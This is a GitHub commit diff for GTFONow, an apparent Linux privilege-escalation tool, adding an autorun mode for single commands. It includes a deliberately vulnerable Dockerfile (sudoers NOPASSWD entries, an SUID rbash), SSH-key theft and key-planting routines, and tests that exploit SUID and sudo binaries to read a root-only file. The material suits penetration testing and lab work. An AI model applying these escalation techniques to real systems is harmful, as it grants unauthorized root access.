Skip to content

Commit

Permalink
feat: Add autorun mode for single command mode
Browse files Browse the repository at this point in the history
  • Loading branch information
Frissi0n committed Dec 3, 2023
1 parent d29b742 commit d4e7eba
Show file tree
Hide file tree
Showing 3 changed files with 57 additions and 14 deletions.
4 changes: 3 additions & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,9 @@ RUN chmod u+s $(which rbash)

RUN useradd -ms /bin/bash lowpriv
RUN useradd -ms /bin/bash higherpriv

RUN ssh-keygen -N '' -f /root/.ssh/id_rsa
RUN cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
RUN echo "ONLY_ROOT_CAN_READ_THIS" > /root/proof.txt
RUN echo "lowpriv ALL=(ALL) NOPASSWD: /usr/bin/head" >> /etc/sudoers
RUN echo "lowpriv ALL=(higherpriv) NOPASSWD: /usr/bin/vim" >> /etc/sudoers

Expand Down
18 changes: 10 additions & 8 deletions gtfonow/gtfonow.py
Original file line number Diff line number Diff line change
Expand Up @@ -3329,7 +3329,7 @@ def arbitrary_file_read(binary, payload, auto, user="root", command=None):
log.info("Performing arbitrary file read with %s", binary)

if is_service_running("ssh"):
ssh_key_privesc(payload, user)
ssh_key_privesc(payload, user, command)
if auto:
return
print("Enter the file that you wish to read. (eg: /etc/shadow)")
Expand Down Expand Up @@ -3438,15 +3438,18 @@ def exploit(binary, payload, exploit_type, risk, auto, binary_path=None, user="


def execute_privileged_command(payload, command):
log.debug("Executing %s", payload)
process = subprocess.Popen(
payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
process.stdin.write(command + '\n')

out, err = process.communicate()
if out:
print('Output:', out)
print(out)
if process.returncode == 0:
print("Thanks for using GTFONow!")
sys.exit()
if err:
print('Error:', err)
log.error(err)


def get_sudo_l_output():
Expand Down Expand Up @@ -3505,8 +3508,7 @@ def check_sudo_binaries(sudo_l_output):
"Payloads": payloads,
"Type": "Sudo (Needs Password)"
}
priv_escs = priv_escs + expand_payloads(priv_esc)
# priv_escs.append(priv_esc)
priv_escs = priv_escs + expand_payloads(priv_esc)

return priv_escs

Expand Down Expand Up @@ -3816,7 +3818,7 @@ def ssh_write_privesc(payload, user="root", command=None):
home_dir = "/root"
else:
home_dir = "/home/"+user
log.info("Attempting to escalate using root's SSH key")
log.info("Writing SSH key to %s", home_dir+"/.ssh/authorized_keys")

execute_command("ssh-keygen -N '' -f /tmp/gtfokey")
with open("/tmp/gtfokey.pub", "r") as f:
Expand Down Expand Up @@ -3849,7 +3851,7 @@ def ssh_key_privesc(payload, user="root", command=None):
home_dir = "/root"
else:
home_dir = "/home/"+user
log.info("Attempting to escalate using root's SSH key")
log.info("Checking for SSH keys in %s", home_dir+"/.ssh/")

for key in key_names:
path = home_dir+"/.ssh/"+key
Expand Down
49 changes: 44 additions & 5 deletions gtfonow/tests/test_privesc.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,24 @@
import sys
import pytest
from gtfonow.gtfonow import *
from unittest.mock import patch, MagicMock


def test_check_suid_bins():
expected = {
"Binary": "find",
"Path": "/usr/bin/find",
"Payloads": suid_bins["find"],
"Payload": suid_bins["find"][0]["code"],
"Payload Description": suid_bins["find"][0].get("description"),
"Type": "SUID/SGID Binary",
"SUID": "root",
"SGID": None
"SGID": None,
"Payload Type": "Shell"

}

res = check_suid_bins()
print(res)
assert expected in res


Expand All @@ -20,11 +27,43 @@ def test_check_sudo_nopasswd_binaries():
print(sudo_l_output)
res = check_sudo_nopasswd_binaries(sudo_l_output)
expected = {
"SudoUser": "root",
"Binary": "head",
"Path": "/usr/bin/head",
"Payloads": sudo_bins["head"],
"SudoUser": "root",
"Type": "Sudo NOPASSWD"
"Payload": sudo_bins["head"][0]["code"],
"Payload Description": sudo_bins["head"][0].get("description"),
"Type": "Sudo NOPASSWD",
"Payload Type": "Arbitrary read"

}
print(res)
assert expected in res


PROOF_COMMAND = "cat /root/proof.txt"
test_cases = [
('head', sudo_bins["head"][0]["code"], SUDO_NO_PASSWD,
2, True, '/usr/bin/head', PROOF_COMMAND),
('find', suid_bins["find"][0]["code"], SUID_SGID,
2, True, '/usr/bin/find', PROOF_COMMAND),
('dd', suid_bins["dd"][0]["code"], SUID_SGID,
2, True, '/usr/bin/dd', PROOF_COMMAND),
('tee', suid_bins["tee"][0]["code"], SUID_SGID,
2, True, '/usr/bin/tee', PROOF_COMMAND),
# ('cp', suid_bins["cp"][0]["code"], SUID_SGID,
# 2, True, '/usr/bin/cp', PROOF_COMMAND),
# ('mv', suid_bins["mv"][0]["code"], SUID_SGID,
# 2, True, '/usr/bin/mv', PROOF_COMMAND),
]


@pytest.mark.parametrize("binary, payload, exploit_type, risk, auto, binary_path, command", test_cases)
def test_exploit(capsys, binary, payload, exploit_type, risk, auto, binary_path, command):
sys.exit = MagicMock()
sys.exit.return_value = 0
exploit(binary, payload, exploit_type, risk, auto,
binary_path=binary_path, command=command)
captured = capsys.readouterr()
print(captured.out)
print(captured.err)
assert "ONLY_ROOT_CAN_READ_THIS" in captured.out

0 comments on commit d4e7eba

Please sign in to comment.